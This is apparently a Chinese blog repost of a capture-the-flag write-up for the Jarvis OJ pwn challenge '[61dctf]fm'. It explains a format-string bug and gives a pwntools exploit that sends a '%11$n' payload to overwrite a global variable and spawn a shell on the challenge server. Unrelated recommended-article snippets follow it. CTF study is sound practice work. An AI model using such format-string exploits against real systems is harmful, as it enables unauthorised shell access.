[61dctf]fm

附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399

nc pwn2.jarvisoj.com 9895

checksec Canary found栈溢出行不通

main函数

在if判断了x的值，但是x的值是我们不可控制的，printf输出了&buf的值，这里是可以进行格式化字符串攻击的，而且if判断的是4 而$n可以输出4的int值到任意的地址中。

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf; // [esp+2Ch] [ebp-5Ch]unsigned int v5; // [esp+7Ch] [ebp-Ch]v5 = __readgsdword(0x14u);be_nice_to_people();memset(&buf, 0, 0x50u);read(0, &buf, 0x50u);printf(&buf);printf("%d!\n", x);if ( x == 4 ){puts("running sh...");system("/bin/sh");}return 0;
}

可以看到输出aaaa的偏移量的11

通过动态调试，把x的值设置为0x4，运行后确实得到shell

exp

from pwn import *io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")payload = flat([x_addr,'%11$n'])io.sendline(payload)
io.interactive()

[61dctf]fm相关推荐

[Jarvis OJ - PWN]——[61dctf]fm
[Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...
源码推荐：collectionView拖拽,仿凤凰FM iOS 局部监听键盘再也不会挡住输入框
UICollectionView拖拽移动单元以及本地保存(上传者:dengqi) UICollectionView拖拽移动单元以及本地保存,可以保存你上次移动的位置. 仿映客直播导航条(上传者:Coo ...
摆脱 FM！这些推荐系统模型真香
‍‍ 作者 | 梁唐来源 | TechFlow 之前我们介绍了推荐当中应用得非常广泛的FM大家族,从FM这个模型衍生出了一系列的模型,从纯FM,到AFM.FFM.DeepFM等等一系列的FM模型,最 ...
推荐系统召回四模型之全能的FM模型
作者 | 张俊林作者简介:中国中文信息学会理事,中科院软件所博士.目前在新浪微博 AI Lab 担任资深算法专家.在此之前,张俊林曾经在阿里巴巴任资深技术专家并负责新技术团队,以及在百度和用友担任技 ...
聚类效果评估、内部指标（Jaccard系数、FM指数、Rand指数）、外部指标（DB指数、Dunn指数）、轮廓系数（Silhouette Coefficient）
聚类效果评估.内部指标(Jaccard系数.FM指数.Rand指数).外部指标(DB指数.Dunn指数).轮廓系数(Silhouette Coefficient) 目录
mf模型 svd++_算法小板报(六)——初探MF(矩阵分解)和FM模型
一.简介矩阵分解(Matrix Factorization,MF)是推荐系统中非常经典的一个算法,虽然现今工业界直接使用的较少,但其背后蕴含的编码降维思想,得以广泛应用于推荐领域之中.本文则主要来梳 ...
SAP ABAP FM AC_DOCUMENT_RECORD 研习
SAP ABAP FM AC_DOCUMENT_RECORD 研习如下物料凭证号4904373511/2018,对应的财务凭证号32000006184如下: 如何从ABAP的角度用某个functio ...
荔枝FM 字体文件 IconFontTextView
使用效果 <?xml version="1.0" encoding="utf-8"?> <LinearLayoutxmlns:android= ...
Android FM模块学习之一 FM启动流程
转自:http://blog.csdn.net/tfslovexizi/article/details/41283743 最近在学习FM模块,FM是一个值得学习的模块,可以从上层看到底层.上层就是FM ...

[61dctf]fm

[61dctf]fm

main函数

exp

[61dctf]fm相关推荐

最新文章

热门文章